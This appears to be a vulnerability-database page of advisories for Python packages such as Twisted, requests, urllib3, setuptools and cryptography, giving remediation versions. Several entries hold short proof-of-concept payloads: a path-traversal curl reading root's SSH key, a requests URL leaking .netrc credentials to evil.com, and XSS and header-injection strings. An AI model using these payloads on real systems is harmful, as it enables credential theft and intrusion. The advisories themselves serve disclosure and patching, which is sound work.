Find, fix and prevent vulnerabilities in your code.

Overview

Twisted is an event-based network programming and multi-protocol integration framework.

Affected versions of this package are vulnerable to Arbitrary Command Injection via improper input sanitization in the file upload process. An attacker can execute arbitrary commands on the target system by sending a specially crafted HTTP PUT request to upload a malicious file and subsequently triggering its execution. This can result in remote code execution and potential privilege escalation depending on the web server's permissions.

Remediation

There is no fixed version for Twisted.

References

• Medium Blog

Overview

Twisted is an event-based network programming and multi-protocol integration framework.

Affected versions of this package are vulnerable to HTTP Response Smuggling. When sending multiple HTTP/1.1 requests in one TCP segment, twisted.web does not guarantee the response order. An attacker in control of an endpoint can manipulate a different user's second response to a pipelined chunked request by delaying the response to their own request. Information disclosure across sessions may also be possible for reverse proxy servers using pooled connections.

Workaround

This vulnerability can be avoided by enforcing HTTP/2, as it is only vulnerable for HTTP/1.x traffic.

Remediation

Upgrade Twisted to version 24.7.0rc1 or higher.

References

• GitHub Commit
• GitHub Issue

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

Affected versions of this package are vulnerable to Directory Traversal through the ‎PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.

PoC

python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade setuptools to version 78.1.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Resource Exhaustion via the idna.encode function. An attacker can consume significant resources and potentially cause a denial-of-service by supplying specially crafted arguments to this function.

Note: This is triggered by arbitrarily large inputs that would not occur in normal usage but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

Remediation

Upgrade idna to version 3.7 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

2. Not disabling HTTP redirects (e.g. with redirects=False)

3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

1. Using the Proxy-Authorization header with urllib3's ProxyManager.

2. Disabling HTTP redirects using redirects=False when sending requests.

3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). If an X.509 certificate contains a malformed policy constraint and policy processing is enabled, then a write lock will be taken twice recursively. On some operating systems (most widely: Windows), this results in a denial of service when the affected process hangs.

NOTE: Policy processing being enabled on a publicly-facing server is not considered to be a common setup.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub Issue (Python)
• RedHat Bugzilla Bug

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a read buffer overflow in certificate name constraint checking in x509/v3_ncons.c. This occurs after certificate chain signature verification, and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a double free after calling the PEM_read_bio_ex() function. An attacker who supplies a malicious PEM file with a 0-length payload can trigger a crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to an invalid pointer dereference in the d2i_PKCS7(), d2i_PKCS7_bio() and d2i_PKCS7_fp(). An attacker could trigger a crash by supplying malicious PKCS7 data.

NOTE: The TLS implementation in OpenSSL does not call these functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a null dereference when validating DSA public keys in the EVP_PKEY_public_check() function.

NOTE: The TLS implementation in OpenSSL does not call this function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when processing specially crafted ASN.1 objects identifiers. Applications that use OBJ_obj2txt() directly, or use any of the OpenSSL subsystems OCSP, PKCS7/SMIME, CMS, CMP/CRMF or TS with no message size limit may experience notable to very long delays when processing those messages, which may lead to a exploitation of this vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.0 or higher.

References

• GitHub Commit
• GitHub Commit
• PoC
• RedHat Bugzilla Bug
• Security Advisory

Overview

Affected versions of this package are vulnerable to Timing Attack. It is vulnerable to Bleichenbacher timing attacks in the RSA decryption API, via timed processing of valid PKCS#1 v1.5 ciphertext (Marvin).

Notes:

1. Version 3.2 of this package contains an incomplete fix, which might help reduce the chances of this vulnerability being exploited. We recommend updating to version 42.0.0 for the complete fix, as advised in the advisory for CVE-2023-50782.

2. This vulnerability presents a moderate severity concern due to its specific impact on applications utilizing RSA decryption with PKCS#1 v1.5 padding. While the vulnerability could potentially lead to leakage in RSA decryption operations, its severity is downgraded to medium by several factors. Firstly, the exploitability of the vulnerability is limited to scenarios where RSA decryption with PKCS#1 v1.5 padding is employed, narrowing the scope of affected systems. Additionally, the implementation of implicit rejection, such as the Marvin workaround, provides a viable mitigation strategy.

Remediation

Upgrade cryptography to version 3.2 or higher.

References

• GitHub Commit
• RedHat Bugzilla Bug
• Vulnerability Report

Overview

Affected versions of this package are vulnerable to Use After Free in the BIO_new_NDEF() function. A new filter BIO can be freed, with the function returning a NULL result indicating a failure. But the BIO passed by the caller still holds pointers to the previously freed filter BIO. This could allow an attacker to cause a crash.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub PR
• Node.js Advisory
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex page.

Note:

Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade setuptools to version 65.5.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release
• Pyup Blog
• Vulnerable Code

Overview

Twisted is an event-based network programming and multi-protocol integration framework.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the twisted.web.http module which makes non-conformant parsing and can lead to desync if requests pass through multiple HTTP parsers. Note: To be vulnerable, applications need to both use Twisted Web's HTTP server/proxy, along with some other HTTP server/proxy.

Remediation

Upgrade Twisted to version 22.4.0rc1 or higher.

References

• GitHub Commit
• GitHub Release

Overview

Twisted is an event-based network programming and multi-protocol integration framework.

Affected versions of this package are vulnerable to Information Exposure due to improper handling of sensitive data in twisted.web.client.RedirectAgent and twisted.web.client.BrowserLikeRedirectAgent which can cause cookies and authorization headers exposure when following cross-origin redirects.

Remediation

Upgrade Twisted to version 22.1.0 or higher.

References

• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR
• GitHub PR
• Seclists Full Disclosure
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to NULL Pointer Dereference when processing a maliciously formatted PKCS12 file. The vulnerability exists due to improper handling of optional ContentInfo fields, which can be set to null. An attacker can cause a denial of service by sending crafted input that leads to applications loading files in PKCS12 format from untrusted sources to terminate abruptly.

Remediation

Upgrade cryptography to version 42.0.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub PR
• OpenSSL Advisory

Overview

Twisted is an event-based network programming and multi-protocol integration framework.

Affected versions of this package are vulnerable to HTTP Header Injection via the NameVirtualHost function. When the host header does not match a configured host, twisted.web.vhost.NameVirtualHost will return a NoResource resource which renders the Host header unescaped into the 404 response allowing HTML and script injection.

PoC:

from twisted.web.server import Site
from twisted.web.vhost import NameVirtualHost
from twisted.internet import reactor

resource = NameVirtualHost()
site = Site(resource)
reactor.listenTCP(8080, site)
reactor.run()

Output:

❯ curl -H"Host:<h1>HELLO THERE</h1>" http://localhost:8080/

<html>
  <head><title>404 - No Such Resource</title></head>
  <body>
    <h1>No Such Resource</h1>
    <p>host b'<h1>hello there</h1>' not in vhost map</p>
  </body>
</html>

Remediation

Upgrade Twisted to version 22.10.0rc1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the DH_check(), DH_check_ex() and EVP_PKEY_param_check() functions, which are used to check a DH key or DH parameters.

When the key or parameters that are being checked contain an excessively large modulus value (the p parameter) this may cause slowness in processing. Some checks use the supplied modulus value even if it has already been found to be too large.

The OpenSSL dhparam and pkeyparam command line applications are also vulnerable, when using the -check option.

NOTE: The OpenSSL SSL/TLS implementation is not affected by this issue.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.3 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• RedHat Bugzilla Bug
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when the DH_generate_key(), DH_check_pub_key(), DH_check_pub_key_ex(), EVP_PKEY_public_check(), and EVP_PKEY_generate() functions are used. An attacker can cause long delays and potentially a Denial of Service by supplying excessively long X9.42 DH keys or parameters obtained from an untrusted source.

Note:

This is only exploitable if the application uses these functions to generate or check an X9.42 DH key or parameters. Also, the OpenSSL pkey command line application, when using the -pubcheck option, as well as the OpenSSL genpkey command line application, are vulnerable to this issue.

Remediation

Upgrade cryptography to version 42.0.0 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• RedHat Bugzilla Bug
• Security Advisory

Overview

Affected versions of this package are vulnerable to Missing Cryptographic Step when the EVP_EncryptInit_ex2(), EVP_DecryptInit_ex2() or EVP_CipherInit_ex2() functions are used. An attacker can cause truncation or overreading of key and initialization vector (IV) lengths by altering the "keylen" or "ivlen" parameters within the OSSL_PARAM array after the key and IV have been established. This can lead to potential truncation or overruns during the initialization of some symmetric ciphers, such as RC2, RC4, RC5, CCM, GCM, and OCB. A truncation in the IV can result in non-uniqueness, which could result in loss of confidentiality for some cipher modes.

Both truncations and overruns of the key and the IV will produce incorrect results and could, in some cases, trigger a memory exception.

Remediation

Upgrade cryptography to version 41.0.5 or higher.

References

• GitHub Commit
• GitHub Commit
• Security Advisory

Overview

Affected versions of this package are vulnerable to Timing Attack in rsa/rsa_ossl.c. An attacker can recover ciphertext with a Bleichenbacher style attack by sending a large number of trial messages (Marvin). This affects all RSA padding modes: PKCS#1 v1.5, RSA-OEAP, and RSASVE.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory
• Vulnerability Report

Overview

Twisted is an event-based network programming and multi-protocol integration framework.

Affected versions of this package are vulnerable to HTTP Response Smuggling. When sending multiple HTTP/1.1 requests in one TCP segment, twisted.web does not guarantee the response order. An attacker in control of an endpoint can manipulate a different user's second response to a pipelined chunked request by delaying the response to their own request.

Workaround

This vulnerability can be avoided by enforcing HTTP/2, as it is only vulnerable for HTTP/1.x traffic.

Remediation

Upgrade Twisted to version 23.10.0rc1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release

Overview

Affected versions of this package are vulnerable to Expected Behavior Violation in Cipher.update_into, which allows immutable objects (such as bytes) to be mutated, violating fundamental rules of Python. This allows programmers to misuse an API, and cannot be exploited by attacker-controlled data alone.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit

Overview

Twisted is an event-based network programming and multi-protocol integration framework.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) when the victim is using Firefox, due to an unescaped URL in the redirectTo() function. A site which is vulnerable to open redirects by other means can be can be made to execute scripts injected into a redirect URL.

PoC

http://127.0.0.1:9009?url=ws://example.com/"><script>alert(document.location)</script>

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade Twisted to version 24.7.0rc1 or higher.

References

• GitHub Commit
• GitHub Issue
• Nuclei Templates

MPL-2.0 license